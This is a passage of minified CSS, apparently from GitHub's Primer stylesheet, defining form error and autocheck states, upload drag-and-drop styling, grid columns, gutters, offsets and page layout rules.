.error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) 